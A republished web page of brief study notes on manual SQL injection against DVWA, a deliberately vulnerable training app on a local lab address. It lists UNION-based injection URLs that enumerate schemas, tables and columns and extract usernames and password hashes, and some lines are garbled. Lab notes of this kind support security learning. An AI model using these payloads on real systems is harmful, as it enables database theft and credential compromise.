Manual vulnerability Mining-sql Injection (Security cow notes)

Source: Internet
Author: User
Tags sql injection

Substring_index (USER (), "@", L)--    #是将查询出来的结果进行切分, slice ' union select Table_name,table_schema from information in the way of the @ symbol _schema.tables--+   #查询数据库中所有的库表

  

Query all databases, data sheet: http://192.168.100.129/dvwa/vulnerabilities/sqli/?id= ' +union+select+table_name,table_schema+from+ information_schema.tables--+ ' &submit=submit#

Count the number of tables in each database: Http://192.168.100.129/dvwa/vulnerabilities/sqli/?id= ' +union+select+table_schema,count (*) +from+ Information_schema.tables GROUP by table_schema--+ ' &submit=submit#

Query the corresponding table in each library: http://192.168.100.129/dvwa/vulnerabilities/sqli/?id= ' +union+select+table_name,table_schema from+ Information_schema.tables where table_schema= ' Dvwa '--+ ' &submit=submit#

Query all columns in the user table: http://192.168.100.129/dvwa/vulnerabilities/sqli/?id= ' +union+select+table_name,column_name from+ Information_schema.columns where table_schema= ' Dvwa ' and table_name= ' users '--+ ' &submit=submit#

Querying users and passwords in the user table: Http://192.168.100.129/dvwa/vulnerabilities/sqli/?id= ' +union+select+user_id,password from Dvwa.users--+ ' &submit=submit#

Manual vulnerability Mining-sql Injection (Security cow notes)

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.